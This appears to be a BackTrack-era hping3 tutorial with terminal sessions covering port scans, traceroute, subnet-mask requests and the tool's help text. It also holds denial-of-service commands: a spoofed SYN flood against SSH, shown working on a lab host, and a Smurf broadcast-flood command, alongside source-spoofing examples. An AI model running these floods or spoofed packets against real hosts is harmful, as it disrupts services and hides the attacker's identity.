Just Make Ping
root@bt:~# ping www.google.com
PING www.google.com (173.194.41.211) 56(84) bytes of data.
^C
--- www.google.com ping statistics ---
2 packets transmitted, 0 received, 100% packet loss, time 1001ms
Its Not Sends You ICMP Replay
Install hping3 root@bt:~#apt-get update root@bt:~#apt-get install hping3 -y Examples: Send 2 packets to port 80 root@bt:~#hping3 -S www.google.com -p 80 -c 2 Send TCP SYN packets to port 443 on host example.com root@bt:~#hping3 example.com -S -V -p 443 Make All Network Ping root@bt:~#hping3 --icmp 192.168.1.x --rand-dest -I eth2 Request Subnet Mask Information root@bt:~#hping3 -1 192.168.1.1 --icmp-addr -c 1 Make Port Scan Using Hping3 (Port Range 50-56)
root@bt:~#hping3 -8 50-56 -S 8.8.8.8 Scanning 8.8.8.8 (8.8.8.8), port 50-56 7 ports to scan, use -V to see all the replies +----+-----------+---------+---+-----+-----+-----+ |port| serv name | flags |ttl| id | win | len | +----+-----------+---------+---+-----+-----+-----+ 53 domain : .S..A... 55 27739 29200 44 All replies received. Done. Not responding ports: (50 re-mail-ck) (51 ) (52 ) (54 ) (55 ) (56 )
Flood SSH Connection root@bt:~#hping3 -S <Victim> -a <fake address> -p 22 --flood Send TCP SYN packets every 5 seconds to port 443 on host example.com root@bt:~#hping3 example.com -S -V -p 443 -i 5 Send UDP packets to port 111 on host example.com (argument --udp can be substituted with -2) root@bt:~#hping3 example.com --udp -V -p 111 Send ICMP echo request packets to host example.com (argument --icmp can be substituted with -1) root@bt:~#hping3 example.com --icmp -V Send ICMP timestamp request packets to host example.com: root@bt:~#hping3 example.com --icmp --icmp-ts -V Portscan TCP ports 100 to 110 on host example.com (argument --scan can be substituted with -8) root@bt:~#hping3 example.com -V --scan 100-110 Send UDP packets spoofed to be from source host 192.168.1.150 to host example.com root@bt:~#hping3 example.com --udp --spoof 192.168.1.150 Send UDP packets spoofed to be from various random source IP addresses to host example.com root@bt:~#hping3 example.com --udp --rand-source Ack Scan: This scan can be used to see if a host is alive (when Ping is blocked for example). root@bt:~#hping3 example.com -c 1 -V -p 80 -s 5050 -A Smurf Attack: This is a type of denial-of-service attack that floods a target system via spoofed broadcast ping messages root@bt:~#hping3 --icmp --flood -a <VICTIM_IP> <BROADCAST_ADDRESS>
Send hping3 (2 Packets Port 80)
root@bt:~# hping3 -S www.google.com -p 80 -c 2
HPING www.google.com (eth2 173.194.41.211): S set, 40 headers + 0 data bytes
len=46 ip=173.194.41.211 ttl=52 DF id=0 sport=80 flags=SA seq=0 win=5840 rtt=36.1 ms
len=46 ip=173.194.41.211 ttl=52 DF id=0 sport=80 flags=SA seq=1 win=5840 rtt=124.6 ms
--- www.google.com hping statistic ---
2 packets tramitted, 2 packets received, 0% packet loss
round-trip min/avg/max = 36.1/80.3/124.6 ms
Send hping3 (5 Packets Port ++50 incres)
HPING 192.168.1.104 (eth2 192.168.1.104): S set, 40 headers + 0 data bytes
len=46 ip=192.168.1.104 ttl=64 DF id=0 sport=50 flags=RA seq=0 win=0 rtt=414.5 ms
len=46 ip=192.168.1.104 ttl=64 DF id=0 sport=51 flags=RA seq=1 win=0 rtt=1.9 ms
len=46 ip=192.168.1.104 ttl=64 DF id=0 sport=52 flags=RA seq=2 win=0 rtt=5.0 ms
len=46 ip=192.168.1.104 ttl=64 DF id=0 sport=53 flags=RA seq=3 win=0 rtt=3.1 ms
len=46 ip=192.168.1.104 ttl=64 DF id=0 sport=54 flags=RA seq=4 win=0 rtt=2.5 ms
--- 192.168.1.104 hping statistic ---
5 packets tramitted, 5 packets received, 0% packet loss
round-trip min/avg/max = 1.9/85.4/414.5 ms
Make All Network Ping
HPING 192.168.1.x (eth2 192.168.1.x): icmp mode set, 28 headers + 0 data bytes
len=46 ip=192.168.1.104 ttl=64 id=29298 icmp_seq=84 rtt=220.4 ms
len=46 ip=192.168.1.101 ttl=64 id=38303 icmp_seq=250 rtt=70575.7 ms
len=46 ip=192.168.1.108 ttl=64 id=22233 icmp_seq=383 rtt=1508.3 ms
Request Mask Information
root@bt:~# hping3 -1 192.168.1.1 --icmp-addr -c 1
HPING 192.168.1.1 (eth2 192.168.1.1): icmp mode set, 28 headers + 0 data bytes
len=46 ip=192.168.1.1 ttl=64 DF id=260 icmp_seq=-1 rtt=1033178560.0 ms
ICMP address mask: icmpam=255.255.255.0
--- 192.168.1.1 hping statistic ---
2 packets tramitted, 2 packets received, 0% packet loss
round-trip min/avg/max = 1033178560.0/1033178560.0/1033178560.0 ms
Make Port Scan Using Hping3 (Port Range 50-56)
root@bt:~# hping3 -8 50-56 -S 8.8.8.8
Scanning 8.8.8.8 (8.8.8.8), port 50-56
7 ports to scan, use -V to see all the replies
+----+-----------+---------+---+-----+-----+-----+
|port| serv name | flags |ttl| id | win | len |
+----+-----------+---------+---+-----+-----+-----+
53 domain : .S..A... 42 39209 62920 46
All replies received. Done.
Not responding ports: (50 re-mail-ck) (51 ) (52 ) (54 ) (55 ) (56 )
Verify If Port 22 (SSH) Is Open
On Device 192.168.1.104
root@acer:~# netstat -lptu
tcp 0 0 *:ssh *:* ESCUCHAR 622/sshd
tcp6 0 0 [::]:ssh [::]:* ESCUCHAR 622/sshd
You Dont Have Any SSH Sesions
Now Type This Command on BackTrack Device
root@bt:~# hping3 -S 192.168.1.104 -a 192.168.1.222 -p 22 --flood
To Stop Flooding Ctrl + C
Verify The Host 192.168.1.104 Sessions
root@acer:~# netstat
<Lines Omitted>
tcp 0 0 acer.local:ssh 192.168.1.222:6394 SYN_RECV
tcp 0 0 acer.local:ssh 192.168.1.222:58588 SYN_RECV
tcp 0 0 acer.local:ssh 192.168.1.222:54456 SYN_RECV
tcp 0 0 acer.local:ssh 192.168.1.222:38286 SYN_RECV
tcp 0 0 acer.local:ssh 192.168.1.222:11752 SYN_RECV
tcp 0 0 acer.local:ssh 192.168.1.222:55874 SYN_RECV
tcp 0 0 acer.local:ssh 192.168.1.222:51600 SYN_RECV
tcp 0 0 acer.local:ssh 192.168.1.222:25712 SYN_RECV
tcp 0 0 acer.local:ssh 192.168.1.222:53224 SYN_RECV
tcp 0 0 acer.local:ssh 192.168.1.222:25711 SYN_RECV
tcp 0 0 acer.local:ssh 192.168.1.222:9007 SYN_RECV
tcp 0 0 acer.local:ssh 192.168.1.222:53226 SYN_RECV
tcp 0 0 acer.local:ssh 192.168.1.222:51577 SYN_RECV
tcp 0 0 acer.local:ssh 192.168.1.222:40957 SYN_RECV
tcp 0 0 acer.local:ssh 192.168.1.222:55875 SYN_RECV
^C
Make TraceRoute
root@bt:~# hping3 -2 www.google.com -p ++44444 -T -n
HPING www.google.com (eth2 173.194.41.248): udp mode set, 28 headers + 0 data bytes
hop=1 TTL 0 during transit from ip=192.168.1.11
hop=1 hoprtt=3.8 ms
hop=2 TTL 0 during transit from ip=90.163.111.234
hop=2 hoprtt=27.9 ms
hop=3 TTL 0 during transit from ip=10.255.217.169
hop=3 hoprtt=26.2 ms
hop=4 TTL 0 during transit from ip=10.255.117.161
hop=4 hoprtt=25.2 ms
hop=5 TTL 0 during transit from ip=10.225.128.10
hop=5 hoprtt=25.4 ms
hop=6 TTL 0 during transit from ip=10.230.255.33
hop=6 hoprtt=30.2 ms
hop=7 TTL 0 during transit from ip=85.63.221.61
hop=7 hoprtt=23.1 ms
hop=8 TTL 0 during transit from ip=85.63.217.178
hop=8 hoprtt=34.5 ms
hop=9 TTL 0 during transit from ip=62.36.205.202
hop=9 hoprtt=38.8 ms
hop=10 TTL 0 during transit from ip=81.52.186.121
hop=10 hoprtt=37.6 ms
Click Ctrl + Z If Some Hop Does not Responding
root@bt:~# hping3 -h
usage: hping host [options]
-h --help show this help
-v --version show version
-c --count packet count
-i --interval wait (uX for X microseconds, for example -i u1000)
--fast alias for -i u10000 (10 packets for second)
--faster alias for -i u1000 (100 packets for second)
--flood sent packets as fast as possible. Don't show replies.
-n --numeric numeric output
-q --quiet quiet
-I --interface interface name (otherwise default routing interface)
-V --verbose verbose mode
-D --debug debugging info
-z --bind bind ctrl+z to ttl (default to dst port)
-Z --unbind unbind ctrl+z
--beep beep for every matching packet received
Mode
default mode TCP
-0 --rawip RAW IP mode
-1 --icmp ICMP mode
-2 --udp UDP mode
-8 --scan SCAN mode.
Example: hping --scan 1-30,70-90 -S www.target.host
-9 --listen listen mode
IP
-a --spoof spoof source address
--rand-dest random destionation address mode. see the man.
--rand-source random source address mode. see the man.
-t --ttl ttl (default 64)
-N --id id (default random)
-W --winid use win* id byte ordering
-r --rel relativize id field (to estimate host traffic)
-f --frag split packets in more frag. (may pass weak acl)
-x --morefrag set more fragments flag
-y --dontfrag set dont fragment flag
-g --fragoff set the fragment offset
-m --mtu set virtual mtu, implies --frag if packet size > mtu
-o --tos type of service (default 0x00), try --tos help
-G --rroute includes RECORD_ROUTE option and display the route buffer
--lsrr loose source routing and record route
--ssrr strict source routing and record route
-H --ipproto set the IP protocol field, only in RAW IP mode
ICMP
-C --icmptype icmp type (default echo request)
-K --icmpcode icmp code (default 0)
--force-icmp send all icmp types (default send only supported types)
--icmp-gw set gateway address for ICMP redirect (default 0.0.0.0)
--icmp-ts Alias for --icmp --icmptype 13 (ICMP timestamp)
--icmp-addr Alias for --icmp --icmptype 17 (ICMP address subnet mask)
--icmp-help display help for others icmp options
UDP/TCP
-s --baseport base source port (default random)
-p --destport [+][+]<port> destination port(default 0) ctrl+z inc/dec
-k --keep keep still source port
-w --win winsize (default 64)
-O --tcpoff set fake tcp data offset (instead of tcphdrlen / 4)
-Q --seqnum shows only tcp sequence number
-b --badcksum (try to) send packets with a bad IP checksum
many systems will fix the IP checksum sending the packet
so you'll get bad UDP/TCP checksum instead.
-M --setseq set TCP sequence number
-L --setack set TCP ack
-F --fin set FIN flag
-S --syn set SYN flag
-R --rst set RST flag
-P --push set PUSH flag
-A --ack set ACK flag
-U --urg set URG flag
-X --xmas set X unused flag (0x40)
-Y --ymas set Y unused flag (0x80)
--tcpexitcode use last tcp->th_flags as exit code
--tcp-timestamp enable the TCP timestamp option to guess the HZ/uptime
Common
-d --data data size (default is 0)
-E --file data from file
-e --sign add 'signature'
-j --dump dump packets in hex
-J --print dump printable characters
-B --safe enable 'safe' protocol
-u --end tell you when --file reached EOF and prevent rewind
-T --traceroute traceroute mode (implies --bind and --ttl 1)
--tr-stop Exit when receive the first not ICMP in traceroute mode
--tr-keep-ttl Keep the source TTL fixed, useful to monitor just one hop
--tr-no-rtt Don't calculate/show RTT information in traceroute mode
ARS packet description (new, unstable)
--apd-send Send the packet described with APD (see docs/APD.txt)
root@bt:~# hping3
hping3> hping3 send "ip(saddr=192.168.1.22,daddr=192.168.1.34,ttl=15)+tcp(sport=6783,dport=80,flags=s)"
##########################################################################################################
